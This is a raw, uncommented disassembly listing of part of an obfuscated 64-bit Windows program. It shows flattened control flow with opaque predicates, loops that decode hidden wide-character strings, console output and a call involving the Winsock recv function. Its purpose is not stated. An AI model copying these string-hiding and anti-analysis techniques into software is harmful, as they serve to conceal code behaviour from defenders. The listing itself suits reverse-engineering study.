jne 0x1402b8be0
mov edx, dword [0x14071827e]
mov dword [rbp - 0x10], edx
movups xmm0, xmmword [0x14071826e]
movaps xmmword [rbp - 0x20], xmm0
movups xmm0, xmmword [0x14071825e]
movaps xmmword [rbp - 0x30], xmm0
movups xmm0, xmmword [0x14071824e]
movaps xmmword [rbp - 0x40], xmm0
movups xmm0, xmmword [0x14071823e]
movaps xmmword [rbp - 0x50], xmm0
mov edx, 0x71014241
jmp 0x1402b8be0
cmp edx, 0x103f08b1
je 0x1402b8c95
cmp edx, 0x16d27754
jne 0x1402b8be0
mov edx, eax
jmp 0x1402b8be0
mov edx, 0x16d27754
jmp 0x1402b8be0
mov edx, ecx
jmp 0x1402b8be0
and al, 1
mov byte [rbp - 0x50], al
mov al, byte [rbp - 0x50]
cmp al, 1
jne 0x1402b91bb
movzx eax, word [rbp + 0x30]
test rax, rax
je 0x1402b91bb
and eax, 0xfffffffe
add rax, 2
mov qword [rbp - 0x50], rax
mov byte [rbp - 0x48], 0
mov ecx, 0xb2470384
jmp 0x1402b991a
mov eax, dword [0x140b7e1e0]
mov ecx, dword [0x140b7e1e4]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete byte [rbp + 0x8b]
cmp ecx, 0xa
setl byte [rbp + 0x88]
mov ecx, 0x18fffc18
lea r10, [rbp - 0x50]
mov r9d, 0x18cd98a5
mov r8d, 0xc759f2b2
mov esi, 0xaa8ca131
mov r14d, 0x250dd061
mov r15d, 0xd3106b6f
mov r12d, 0x14d10da0
mov r13d, 0x1ac41959
jmp 0x1402b8d00
mov qword [rbp + 0x50], r10
mov ecx, 0xc13749cd
nop dword [rax + rax]
cmp ecx, 0x18fffc17
jg 0x1402b8d70
cmp ecx, 0xd3106b6e
jle 0x1402b8dd0
cmp ecx, 0xfbfef179
jle 0x1402b8eb6
cmp ecx, 0xfbfef17a
je 0x1402b909c
cmp ecx, 0xa0e2a4d
je 0x1402b914a
cmp ecx, 0x14d10da0
jne 0x1402b8d00
mov eax, dword [0x140b7e1e0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x8ed583c4
cmove ecx, r14d
cmp dword [0x140b7e1e4], 0xa
cmovl ecx, r14d
jmp 0x1402b8d00
cmp ecx, 0x61a65cfe
jg 0x1402b8e00
cmp ecx, 0x250dd060
jle 0x1402b8e2a
cmp ecx, 0x44d7e5c5
je 0x1402b90c9
cmp ecx, 0x53a4bdd9
jne 0x1402b917f
mov eax, dword [0x140b7e1e0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x8ed583c4
cmove ecx, r12d
cmp dword [0x140b7e1e4], 0xa
cmovl ecx, r12d
jmp 0x1402b8d00
cmp ecx, 0xb63cc193
jg 0x1402b8e4c
cmp ecx, 0x8d6757ab
je 0x1402b90d3
cmp ecx, 0x8ed583c4
jne 0x1402b8d00
mov ecx, 0x14d10da0
jmp 0x1402b8d00
cmp ecx, 0x7ad55bf9
jg 0x1402b8e76
cmp ecx, 0x61a65cff
je 0x1402b8cef
cmp ecx, 0x76c9e29f
jne 0x1402b8d00
mov ecx, 0x7c21faf2
jmp 0x1402b8d00
cmp ecx, 0x18fffc18
je 0x1402b90e1
cmp ecx, 0x1ac41959
jne 0x1402b8d00
mov ecx, 0x61a65cff
jmp 0x1402b8d00
cmp ecx, 0xb63cc194
je 0x1402b9102
cmp ecx, 0xc13749cd
jne 0x1402b8d00
mov rax, qword [rbp + 0x50]
mov qword [rbp + 0x48], rax
mov ecx, 0x53a4bdd9
jmp 0x1402b8d00
cmp ecx, 0x7ad55bfa
je 0x1402b911d
cmp ecx, 0x7c21faf2
jne 0x1402b8d00
mov eax, dword [0x140b7e1e0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x76c9e29f
cmove ecx, r13d
cmp dword [0x140b7e1e4], 0xa
cmovl ecx, r13d
jmp 0x1402b8d00
cmp ecx, 0xd3106b6f
je 0x1402b9154
cmp ecx, 0xfa8536e7
jne 0x1402b8d00
mov rcx, qword [rbp + 0x58]
mov eax, 0x73239b49
jmp 0x1402b8ef0
mov dword [rbp + 0x70], edx
mov eax, dword [rbp + 0x70]
cmp eax, 0x22
mov eax, 0x8a81abd2
cmovl eax, r8d
nop dword [rax + rax]
cmp eax, 0xcc4bd330
jle 0x1402b8f30
cmp eax, 0x18cd98a4
jle 0x1402b8f60
cmp eax, 0x18cd98a5
je 0x1402b9056
cmp eax, 0x4c5eb9fe
je 0x1402b9010
cmp eax, 0x73239b49
jne 0x1402b8ef0
mov eax, 0xaf6531ad
jmp 0x1402b8ef0
cmp eax, 0xaf6531ac
jg 0x1402b8fb0
cmp eax, 0x8dcd92d3
je 0x1402b907d
cmp eax, 0xaa8ca131
jne 0x1402b9087
mov eax, 0xcc4bd331
xor edx, edx
jmp 0x1402b8ef0
cmp eax, 0xcc4bd331
je 0x1402b8ed9
cmp eax, 0xdcbb339b
jne 0x1402b8ef0
mov eax, dword [rbp + 0x8c]
xor eax, dword [rbp + 0x60]
mov word [rbp + 0x7c], ax
mov rax, qword [rbp + 0x80]
lea rax, [rax*2 - 0x50]
add rax, rbp
mov qword [rbp + 0x30], rax
mov eax, 0x4c5eb9fe
jmp 0x1402b8ef0
cmp eax, 0xaf6531ad
je 0x1402b902b
cmp eax, 0xc759f2b2
jne 0x1402b8ef0
movsxd rax, dword [rbp + 0x70]
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x80]
movzx eax, word [rcx + rax*2]
mov dword [rbp + 0x8c], eax
movsxd rax, dword [rbp + 0x70]
imul rdi, rax, 0xffffffffa0a0a0a1
shr rdi, 0x20
add edi, eax
mov ebx, edi
shr ebx, 0x1f
sar edi, 5
add edi, ebx
imul ebx, edi, 0x33
neg ebx
add eax, ebx
add eax, 0x36
mov dword [rbp + 0x60], eax
mov eax, 0xdcbb339b
jmp 0x1402b8ef0
movzx eax, word [rbp + 0x7c]
mov rdx, qword [rbp + 0x30]
mov word [rdx], ax
mov edx, dword [rbp + 0x70]
add edx, 1
mov eax, 0xcc4bd331
jmp 0x1402b8ef0
mov eax, dword [0x140b81b1c]
lea r11d, [rax - 1]
imul r11d, eax
test r11b, 1
mov eax, 0x8dcd92d3
cmove eax, r9d
cmp dword [0x140b81b20], 0xa
cmovl eax, r9d
jmp 0x1402b8ef0
mov eax, dword [0x140b81b1c]
lea edi, [rax - 1]
imul edi, eax
test dil, 1
mov eax, 0x8dcd92d3
cmove eax, esi
cmp dword [0x140b81b20], 0xa
cmovl eax, esi
jmp 0x1402b8ef0
mov eax, 0x18cd98a5
jmp 0x1402b8ef0
cmp eax, 0x8a81abd2
jne 0x1402b8ef0
mov ecx, 0xb63cc194
jmp 0x1402b8d00
mov ecx, 0xf4165b84
movzx eax, word [rbp - 0xe]
nop word cs:[rax + rax]
nop
cmp ecx, 0xf4165b84
je 0x1402b90c2
cmp ecx, 0xa5568fe9
jne 0x1402b90b0
jmp 0x1402b9133
mov ecx, 0xa5568fe9
jmp 0x1402b90b0
mov ecx, 0xfbfef17a
jmp 0x1402b8d00
mov qword [rbp + 0x58], r10
mov ecx, 0xfa8536e7
jmp 0x1402b8d00
mov al, byte [rbp + 0x8b]
cmp byte [rbp + 0x88], 0
mov ecx, 0xa0e2a4d
cmovne ecx, r15d
test al, al
cmovne ecx, r15d
jmp 0x1402b8d00
mov eax, dword [0x140b7e1e0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x76c9e29f
mov eax, 0x7c21faf2
jmp 0x1402b916d
cmp byte [rbp + 0x78], 0
mov ecx, 0x61a65cff
mov eax, 0x8d6757ab
cmovne ecx, eax
jmp 0x1402b8d00
test ax, ax
setne byte [rbp + 0x30]
mov al, byte [rbp + 0x30]
mov byte [rbp + 0x78], al
mov ecx, 0x7ad55bfa
jmp 0x1402b8d00
mov ecx, 0xd3106b6f
jmp 0x1402b8d00
mov eax, dword [0x140b7e1e0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0xa0e2a4d
mov eax, 0x44d7e5c5
cmove ecx, eax
cmp dword [0x140b7e1e4], 0xa
cmovl ecx, eax
jmp 0x1402b8d00
cmp ecx, 0x250dd061
jne 0x1402b8d00
mov rdx, qword [rbp + 0x48]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.1402a3ee0
mov rcx, rax
call fcn.1402a4230
xor esi, esi
mov eax, esi
add rsp, 0x118
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov eax, dword [0x140b7e200]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140b7e204], 0xa
setl cl
or cl, al
mov eax, 0x23cc22d9
mov edx, 0x5588f01
cmove eax, edx
mov ecx, 0x9959fe02
cmove ecx, edx
mov edx, 0x718a7bd6
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x23cc22d8
jle 0x1402b9253
cmp edx, 0x23cc22d9
je 0x1402b9272
cmp edx, 0x295f78bd
je 0x1402b926a
cmp edx, 0x718a7bd6
jne 0x1402b9200
movups xmm0, xmmword [0x1407182b0]
movups xmmword [rbp - 0x22], xmm0
movups xmm0, xmmword [0x1407182a2]
movaps xmmword [rbp - 0x30], xmm0
movups xmm0, xmmword [0x140718292]
movaps xmmword [rbp - 0x40], xmm0
movups xmm0, xmmword [0x140718282]
movaps xmmword [rbp - 0x50], xmm0
mov edx, 0x295f78bd
jmp 0x1402b9200
cmp edx, 0x9959fe02
je 0x1402b926e
cmp edx, 0x5588f01
jne 0x1402b9200
mov edx, 0x9959fe02
jmp 0x1402b9200
mov edx, ecx
jmp 0x1402b9200
mov edx, eax
jmp 0x1402b9200
mov eax, dword [0x140b7e938]
mov ecx, dword [0x140b7e93c]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
sete byte [rbp + 0x8b]
cmp ecx, 0xa
setl byte [rbp + 0x88]
setl cl
or cl, al
mov eax, dword [0x140b80180]
mov edx, dword [0x140b80184]
lea ebx, [rax - 1]
imul ebx, eax
mov dword [rbp], ebx
test bl, 1
mov eax, 0xff8be93e
mov ebx, 0xdff0b8c0
cmove ebx, eax
mov dword [rbp + 0x28], edx
cmp edx, 0xa
cmovl ebx, eax
mov dword [rbp + 4], ebx
test cl, cl
mov r11d, 0x79e7bfb1
mov eax, 0x9e21f2b0
cmove r11d, eax
mov ecx, 0x8773100d
cmove ecx, eax
mov dword [rbp + 8], ecx
mov ecx, 0xd715a16
mov eax, 0x8dc2e504
cmove ecx, eax
mov dword [rbp + 0xc], ecx
mov r10d, 0x24315aee
cmove r10d, eax
mov ecx, 0xf8e1c370
mov eax, 0x5dc2a3e6
cmove ecx, eax
mov dword [rbp + 0x10], ecx
mov r15d, 0x56a9c66
cmove r15d, eax
mov r9d, 0x23fb2a7
mov eax, 0xb0b5a519
cmove r9d, eax
mov r12d, 0x78a55a5e
cmove r12d, eax
mov ecx, 0xad1c6e0c
mov eax, 0x8dc20a49
cmove ecx, eax
mov dword [rbp + 0x14], ecx
mov esi, 0xce269cbf
mov ecx, 0x5bfb4fb3
lea r8, [rbp - 0x50]
jmp 0x1402b9360
mov esi, 0x8773100d
nop
mov edx, esi
cmp esi, 0x23fb2a6
jg 0x1402b94e0
cmp edx, 0xb0b5a518
jg 0x1402b9530
cmp edx, 0x9e21f2af
jg 0x1402b95d4
mov esi, r11d
cmp edx, 0x8773100d
je 0x1402b9360
cmp edx, 0x8dc20a49
je 0x1402b98ac
mov esi, edx
cmp edx, 0x8dc2e504
jne 0x1402b9360
mov rdx, qword [rbp + 0x58]
mov eax, 0x9d78b433
cmp eax, 0xfbca6b0b
jle 0x1402b9410
cmp eax, 0x5bfb4fb2
jg 0x1402b9450
cmp eax, 0xfbca6b0c
je 0x1402b98b6
cmp eax, 0x3e235fe1
jne 0x1402b93b0
mov eax, dword [rbp + 0x8c]
lea edi, [rax + 0x36]
mov ebx, dword [rbp + 0x7c]
mov ecx, 0xffc9
sub ecx, eax
and ecx, ebx
not ebx
and ebx, edi
or ecx, ebx
mov rax, qword [rbp + 0x80]
mov word [rbp + rax*2 - 0x50], cx
mov ecx, 0x5bfb4fb3
mov eax, 0xc6778b86
jmp 0x1402b93b0
cmp eax, 0x9d78b433
je 0x1402b94b7
cmp eax, 0xc6778b86
je 0x1402b94c1
cmp eax, 0xec86748a
jne 0x1402b93b0
mov dword [rbp + 0x60], esi
mov eax, dword [rbp + 0x60]
cmp eax, 0x1f
mov eax, 0xfbca6b0c
cmovl eax, ecx
jmp 0x1402b93b0
cmp eax, 0x5bfb4fb3
je 0x1402b946e
cmp eax, 0x7f66d12a
jne 0x1402b93b0
mov eax, 0xec86748a
xor esi, esi
jmp 0x1402b93b0
movsxd rax, dword [rbp + 0x60]
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x80]
movzx eax, word [rdx + rax*2]
mov dword [rbp + 0x7c], eax
movsxd rax, dword [rbp + 0x60]
imul rbx, rax, 0xffffffffa0a0a0a1
shr rbx, 0x20
add ebx, eax
mov edi, ebx
shr edi, 0x1f
sar ebx, 5
add ebx, edi
imul edi, ebx, 0x33
sub eax, edi
mov dword [rbp + 0x8c], eax
mov eax, 0x3e235fe1
jmp 0x1402b93b0
mov eax, 0x7f66d12a
jmp 0x1402b93b0
mov esi, dword [rbp + 0x60]
add esi, 1
mov eax, 0xec86748a
jmp 0x1402b93b0
cmp edx, 0x30e19b0a
jg 0x1402b9590
cmp edx, 0xd715a15
jg 0x1402b9602
cmp edx, 0x23fb2a7
je 0x1402b98c0
cmp edx, 0x56a9c66
je 0x1402b98d6
mov esi, edx
cmp edx, 0x7f8e8a5
jne 0x1402b9360
mov esi, dword [rbp + 0x14]
jmp 0x1402b9360
cmp edx, 0xdcd28fdf
jg 0x1402b9765
cmp edx, 0xb0b5a519
je 0x1402b97ce
mov esi, r10d
cmp edx, 0xb557b8b3
je 0x1402b9360
mov esi, edx
cmp edx, 0xce269cbf
jne 0x1402b9360
mov al, byte [rbp + 0x8b]
cmp byte [rbp + 0x88], 0
mov esi, 0x8dc20a49
mov edx, 0x7f8e8a5
cmovne esi, edx
test al, al
cmovne esi, edx
jmp 0x1402b9360
cmp edx, 0x7513cfdd
jg 0x1402b97a0
cmp edx, 0x30e19b0b
je 0x1402b97d8
cmp edx, 0x5dc2a3e6
je 0x1402b987f
mov esi, edx
cmp edx, 0x61dfe56e
jne 0x1402b9360
mov rax, qword [rbp + 0x50]
mov qword [rbp + 0x48], rax
mov esi, 0xaf2b2965
jmp 0x1402b9360
cmp edx, 0x9e21f2b0
je 0x1402b935a
cmp edx, 0xad1c6e0c
je 0x1402b98e2
mov esi, edx
cmp edx, 0xaf2b2965
jne 0x1402b9360
mov esi, dword [rbp + 8]
jmp 0x1402b9360
cmp edx, 0xd715a16
je 0x1402b98ec
mov esi, r15d
cmp edx, 0x22a5df9a
je 0x1402b9360
mov esi, edx
cmp edx, 0x24315aee
jne 0x1402b9360
mov r13, qword [rbp + 0x58]
mov esi, 0x9d78b433
nop word cs:[rax + rax]
nop
cmp esi, 0xfbca6b0b
jle 0x1402b96a0
cmp esi, 0x5bfb4fb2
jg 0x1402b96e0
cmp esi, 0xfbca6b0c
je 0x1402b98f6
cmp esi, 0x3e235fe1
jne 0x1402b9640
mov eax, dword [rbp + 0x8c]
lea esi, [rax + 0x36]
mov ebx, dword [rbp + 0x7c]
mov r14d, 0xffc9
sub r14d, eax
and r14d, ebx
not ebx
and ebx, esi
or r14d, ebx
mov rax, qword [rbp + 0x80]
mov word [rbp + rax*2 - 0x50], r14w
mov esi, 0xc6778b86
jmp 0x1402b9640
cmp esi, 0x9d78b433
je 0x1402b974b
cmp esi, 0xc6778b86
je 0x1402b9755
cmp esi, 0xec86748a
jne 0x1402b9640
mov dword [rbp + 0x60], edx
mov eax, dword [rbp + 0x60]
cmp eax, 0x1f
mov esi, 0xfbca6b0c
cmovl esi, ecx
jmp 0x1402b9640
cmp esi, 0x5bfb4fb3
je 0x1402b9700
cmp esi, 0x7f66d12a
jne 0x1402b9640
mov esi, 0xec86748a
xor edx, edx
jmp 0x1402b9640
movsxd rax, dword [rbp + 0x60]
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x80]
movzx eax, word [r13 + rax*2]
mov dword [rbp + 0x7c], eax
movsxd rax, dword [rbp + 0x60]
imul rsi, rax, 0xffffffffa0a0a0a1
shr rsi, 0x20
add esi, eax
mov ebx, esi
shr ebx, 0x1f
sar esi, 5
add esi, ebx
imul esi, esi, 0x33
sub eax, esi
mov dword [rbp + 0x8c], eax
mov esi, 0x3e235fe1
jmp 0x1402b9640
mov esi, 0x7f66d12a
jmp 0x1402b9640
mov edx, dword [rbp + 0x60]
add edx, 1
mov esi, 0xec86748a
jmp 0x1402b9640
mov esi, r12d
cmp edx, 0xdcd28fe0
je 0x1402b9360
cmp edx, 0xf8e1c370
je 0x1402b98fe
mov esi, edx
cmp edx, 0xfa7f66ac
jne 0x1402b9360
mov rax, qword [rbp + 0x70]
mov qword [rbp + 0x58], rax
mov esi, 0xb557b8b3
jmp 0x1402b9360
cmp edx, 0x7513cfde
je 0x1402b9889
mov esi, r9d
cmp edx, 0x78a55a5e
je 0x1402b9360
mov esi, edx
cmp edx, 0x79e7bfb1
jne 0x1402b9360
jmp 0x1402b918b
mov esi, 0x78a55a5e
jmp 0x1402b9360
test byte [rbp], 1
sete byte [rbp + 0x7c]
cmp dword [rbp + 0x28], 0xa
setl byte [rbp + 0x8c]
mov edx, 0x749fbee2
cmp edx, 0xff8be93d
jg 0x1402b9820
cmp edx, 0x941ac9de
je 0x1402b9897
cmp edx, 0x9807e42b
je 0x1402b985e
cmp edx, 0xdff0b8c0
jne 0x1402b97f0
mov edx, 0x9807e42b
jmp 0x1402b97f0
cmp edx, 0xff8be93e
je 0x1402b9857
cmp edx, 0x6e3044e1
je 0x1402b986a
cmp edx, 0x749fbee2
jne 0x1402b97f0
movzx ebx, byte [rbp + 0x7c]
cmp byte [rbp + 0x8c], 0
mov edx, 0xdff0b8c0
mov esi, 0x9807e42b
cmovne edx, esi
test bl, bl
cmovne edx, esi
jmp 0x1402b97f0
mov edx, 0x6e3044e1
jmp 0x1402b97f0
mov qword [rbp + 0x80], r8
mov edx, dword [rbp + 4]
jmp 0x1402b97f0
mov rax, qword [rbp + 0x80]
movzx eax, word [rax + 0x3c]
mov edx, 0x941ac9de
jmp 0x1402b97f0
mov esi, 0x56a9c66
jmp 0x1402b9360
mov qword [rbp + 0x50], r8
mov esi, 0x61dfe56e
jmp 0x1402b9360
mov dword [rbp + 0x60], eax
cmp dword [rbp + 0x60], 0
setne byte [rbp + 0x78]
mov esi, 0xdcd28fe0
jmp 0x1402b9360
mov esi, 0x7f8e8a5
jmp 0x1402b9360
mov esi, 0x24315aee
jmp 0x1402b9360
cmp byte [rbp + 0x78], 0
mov esi, 0x7513cfde
mov eax, 0x22a5df9a
cmovne esi, eax
jmp 0x1402b9360
mov qword [rbp + 0x70], r8
mov esi, dword [rbp + 0x10]
jmp 0x1402b9360
mov esi, 0x30e19b0b
jmp 0x1402b9360
mov esi, 0x7513cfde
jmp 0x1402b9360
mov esi, dword [rbp + 0xc]
jmp 0x1402b9360
mov esi, 0xfa7f66ac
jmp 0x1402b9360
mov qword [rbp + 0x48], rax
mov rcx, qword [rbp + 0x48]
call fcn.1406ad6ac
mov ecx, 0x256056b7
cmp ecx, 0x256056b7
je 0x1402b9945
cmp ecx, 0xb2470384
jne 0x1402b991a
mov rax, qword [rbp - 0x50]
cmp byte [rbp - 0x48], 0
movzx eax, byte [rbp - 0x48]
mov rax, 0xffffffffffffffff
jne 0x1402b9908
mov rax, qword [rbp - 0x50]
jmp 0x1402b9908
mov qword [rbp + 0x80], rax
mov rsi, qword [rbp + 0x80]
mov r8, qword [rbp + 0x48]
mov rcx, qword [rbp + 0x80]
xor edx, edx
call sub.VCRUNTIME140.dll_memset
lea rbx, [rbp + 0x60]
mov rcx, rbx
mov rdx, rsi
call fcn.140328a90
movzx r15d, word [rbp + 0x30]
mov qword [rbp + 0x80], rbx
mov eax, dword [0x140b7e0b0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140b7e0b4], 0xa
setl cl
or cl, al
mov eax, 0xfb915e1d
mov edx, 0xbb00db60
cmove eax, edx
mov ecx, 0x37f9f496
cmove ecx, edx
mov edx, 0x8e477ac2
jmp 0x1402b99bf
mov edx, 0x87d1061a
cmp edx, 0xbb00db5f
jle 0x1402b99f1
cmp edx, 0xbb00db60
je 0x1402b9a05
cmp edx, 0xfb915e1d
je 0x1402b99ba
cmp edx, 0x37f9f496
jne 0x1402b99bf
mov rdx, qword [rbp + 0x80]
mov rdx, qword [rdx]
mov qword [rbp - 0x50], rdx
mov edx, eax
jmp 0x1402b99bf
cmp edx, 0x87d1061a
je 0x1402b9a13
cmp edx, 0x8e477ac2
jne 0x1402b99bf
mov edx, ecx
jmp 0x1402b99bf
mov rdx, qword [rbp + 0x80]
mov edx, 0x37f9f496
jmp 0x1402b99bf
mov r14, qword [rbp - 0x50]
mov rsi, qword [rbp + 0x38]
mov ecx, 0x25de3e55
mov r12d, 0xf7feff39
mov r13d, 0x6b46bc4a
mov edx, dword [0x140b7e098]
lea edi, [rdx - 1]
imul edi, edx
test dil, 1
sete dl
cmp dword [0x140b7e09c], 0xa
setl bl
or bl, dl
mov edx, 0x1641141b
cmovne edx, r12d
mov edi, 0x1641141b
cmovne edi, r13d
cmp ecx, 0x1641141a
jle 0x1402b9a7f
cmp ecx, 0x1641141b
je 0x1402b9a91
cmp ecx, 0x6b46bc4a
je 0x1402b9a98
cmp ecx, 0x25de3e55
jne 0x1402b9a5d
jmp 0x1402b9aa0
cmp ecx, 0xdd241186
je 0x1402b9a9c
cmp ecx, 0xf7feff39
jne 0x1402b9a5d
jmp 0x1402b9abc
mov ecx, 0x6b46bc4a
jmp 0x1402b9a5d
mov ecx, edx
jmp 0x1402b9a5d
mov ecx, edi
jmp 0x1402b9a5d
mov rcx, qword [rbp + 0x28]
mov rdx, r14
mov r8, rsi
mov r9, r15
call fcn.1402c4d40
mov ecx, 0xdd241186
jmp 0x1402b9a2c
and al, 1
mov byte [rbp - 0x50], al
cmp byte [rbp - 0x50], 0
je 0x1402b9b5d
mov word [rbp + 0x30], 0
mov rdx, qword [rbp + 0x18]
add rdx, 0x58
lea r8, [rbp + 0x30]
mov r9d, reloc.WS2_32.dll_recv
mov rcx, qword [rbp + 0x28]
call fcn.1402c4d40
mov sil, 1
test al, al
jne 0x1402bab21
lea r8, [rbp - 0x50]
mov qword [rbp + 0x80], r8
mov eax, 0x25bd1531
cmp eax, 0x98209e74
je 0x1402ba245
cmp eax, 0x25bd1531
jne 0x1402b9b07
mov rax, qword [rbp + 0x80]
movups xmm0, xmmword [0x14071833c]
movups xmmword [rax + 0x3e], xmm0
movups xmm0, xmmword [0x14071832e]
movups xmmword [rax + 0x30], xmm0
movups xmm0, xmmword [0x14071831e]
movups xmmword [rax + 0x20], xmm0
movups xmm0, xmmword [0x14071830e]
movups xmmword [rax + 0x10], xmm0
movups xmm0, xmmword [0x1407182fe]
movups xmmword [rax], xmm0
mov eax, 0x98209e74
jmp 0x1402b9b07
lea r9, [rbp - 0x50]
mov qword [rbp + 0x80], r9
mov eax, 0x616f7349
cmp eax, 0xf288ff09
je 0x1402b9bb4
cmp eax, 0x616f7349
jne 0x1402b9b6d
mov rax, qword [rbp + 0x80]
movups xmm0, xmmword [0x1407182ee]
movups xmmword [rax + 0x2e], xmm0
movups xmm0, xmmword [0x1407182e0]
movups xmmword [rax + 0x20], xmm0
movups xmm0, xmmword [0x1407182d0]
movups xmmword [rax + 0x10], xmm0
movups xmm0, xmmword [0x1407182c0]
movups xmmword [rax], xmm0
mov eax, 0xf288ff09
jmp 0x1402b9b6d
mov eax, dword [0x140b7e938]
mov ecx, dword [0x140b7e93c]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
sete byte [rbp + 0x6f]
cmp ecx, 0xa
setl byte [rbp + 0x8b]
setl cl
or cl, al
mov eax, dword [0x140b80180]
mov edx, dword [0x140b80184]
lea ebx, [rax - 1]
imul ebx, eax
mov dword [rbp], ebx
test bl, 1
mov eax, 0xff8be93e
mov ebx, 0xdff0b8c0
cmove ebx, eax
mov dword [rbp + 0x28], edx
cmp edx, 0xa
cmovl ebx, eax
mov dword [rbp + 4], ebx
test cl, cl
mov r10d, 0x79e7bfb1
mov eax, 0x9e21f2b0
cmove r10d, eax
mov ecx, 0x8773100d
cmove ecx, eax
mov dword [rbp + 8], ecx
mov ecx, 0xd715a16
mov eax, 0x8dc2e504
cmove ecx, eax
mov dword [rbp + 0xc], ecx
mov r11d, 0x24315aee
cmove r11d, eax
mov ecx, 0xf8e1c370
mov eax, 0x5dc2a3e6
cmove ecx, eax
mov dword [rbp + 0x10], ecx
mov r15d, 0x56a9c66
cmove r15d, eax
mov r13d, 0x23fb2a7
mov eax, 0xb0b5a519
cmove r13d, eax
mov r12d, 0x78a55a5e
cmove r12d, eax
mov ecx, 0xad1c6e0c
mov eax, 0x8dc20a49
cmove ecx, eax
mov dword [rbp + 0x14], ecx
mov edi, 0xce269cbf
mov ebx, 0x5bfb4fb3
jmp 0x1402b9ca0
mov edi, 0x8773100d
nop word [rax + rax]
mov eax, edi
cmp edi, 0x23fb2a6
jg 0x1402b9e20
cmp eax, 0xb0b5a518
jg 0x1402b9e70
cmp eax, 0x9e21f2af
jg 0x1402b9f10
mov edi, r10d
cmp eax, 0x8773100d
je 0x1402b9ca0
cmp eax, 0x8dc20a49
je 0x1402ba0db
mov edi, eax
cmp eax, 0x8dc2e504
jne 0x1402b9ca0
mov rsi, qword [rbp + 0x58]
mov edi, 0x9d78b433
nop dword [rax + rax]
cmp edi, 0xfbca6b0b
jle 0x1402b9d50
cmp edi, 0x5bfb4fb2
jg 0x1402b9d90
cmp edi, 0xfbca6b0c
je 0x1402ba0e5
cmp edi, 0x3e235fe1
jne 0x1402b9cf0
mov ecx, dword [rbp + 0x7c]
lea edx, [rcx + 0x36]
mov edi, dword [rbp + 0x78]
mov ebx, 0xffc9
sub ebx, ecx
and ebx, edi
not edi
and edi, edx
or ebx, edi
mov rcx, qword [rbp + 0x80]
mov word [rbp + rcx*2 - 0x50], bx
mov ebx, 0x5bfb4fb3
mov edi, 0xc6778b86
jmp 0x1402b9cf0
cmp edi, 0x9d78b433
je 0x1402b9db0
cmp edi, 0xc6778b86
je 0x1402b9dba
cmp edi, 0xec86748a
jne 0x1402b9cf0
mov dword [rbp + 0x8c], eax
mov edx, dword [rbp + 0x8c]
cmp edx, 0x1f
mov edi, 0xfbca6b0c
cmovl edi, ebx
jmp 0x1402b9cf0
cmp edi, 0x5bfb4fb3
je 0x1402b9dcd
cmp edi, 0x7f66d12a
jne 0x1402b9cf0
mov edi, 0xec86748a
xor eax, eax
jmp 0x1402b9cf0
mov edi, 0x7f66d12a
jmp 0x1402b9cf0
mov eax, dword [rbp + 0x8c]
add eax, 1
mov edi, 0xec86748a
jmp 0x1402b9cf0
movsxd rdx, dword [rbp + 0x8c]
mov qword [rbp + 0x80], rdx
mov rdx, qword [rbp + 0x80]
movzx edx, word [rsi + rdx*2]
mov dword [rbp + 0x78], edx
movsxd rdx, dword [rbp + 0x8c]
imul rdi, rdx, 0xffffffffa0a0a0a1
shr rdi, 0x20
add edi, edx
mov ecx, edi
shr ecx, 0x1f
sar edi, 5
add edi, ecx
imul ecx, edi, 0x33
sub edx, ecx
mov dword [rbp + 0x7c], edx
mov edi, 0x3e235fe1
jmp 0x1402b9cf0
cmp eax, 0x30e19b0a
jg 0x1402b9ed0
cmp eax, 0xd715a15
jg 0x1402b9f3b
cmp eax, 0x23fb2a7
je 0x1402ba0ef
cmp eax, 0x56a9c66
je 0x1402ba108
mov edi, eax
cmp eax, 0x7f8e8a5
jne 0x1402b9ca0
mov edi, dword [rbp + 0x14]
jmp 0x1402b9ca0
cmp eax, 0xdcd28fdf
jg 0x1402ba078
cmp eax, 0xb0b5a519
je 0x1402ba114
mov edi, r11d
cmp eax, 0xb557b8b3
je 0x1402b9ca0
mov edi, eax
cmp eax, 0xce269cbf
jne 0x1402b9ca0
mov al, byte [rbp + 0x6f]
cmp byte [rbp + 0x8b], 0
mov edi, 0x8dc20a49
mov ecx, 0x7f8e8a5
cmovne edi, ecx
test al, al
cmovne edi, ecx
jmp 0x1402b9ca0
cmp eax, 0x7513cfdd
jg 0x1402ba0b0
cmp eax, 0x30e19b0b
je 0x1402ba11e
cmp eax, 0x5dc2a3e6
je 0x1402ba1cc
mov edi, eax
cmp eax, 0x61dfe56e
jne 0x1402b9ca0
mov rax, qword [rbp + 0x50]
mov qword [rbp + 0x48], rax
mov edi, 0xaf2b2965
jmp 0x1402b9ca0
cmp eax, 0x9e21f2b0
je 0x1402b9c95
cmp eax, 0xad1c6e0c
je 0x1402ba1d6
mov edi, eax
cmp eax, 0xaf2b2965
jne 0x1402b9ca0
mov edi, dword [rbp + 8]
jmp 0x1402b9ca0
cmp eax, 0xd715a16
je 0x1402ba1e0
mov edi, r15d
cmp eax, 0x22a5df9a
je 0x1402b9ca0
mov edi, eax
cmp eax, 0x24315aee
jne 0x1402b9ca0
mov r8, qword [rbp + 0x58]
mov eax, 0x9d78b433
nop word [rax + rax]
cmp eax, 0xfbca6b0b
jle 0x1402b9fc0
cmp eax, 0x5bfb4fb2
jg 0x1402b9ff0
cmp eax, 0xfbca6b0c
je 0x1402ba1ea
cmp eax, 0x3e235fe1
jne 0x1402b9f70
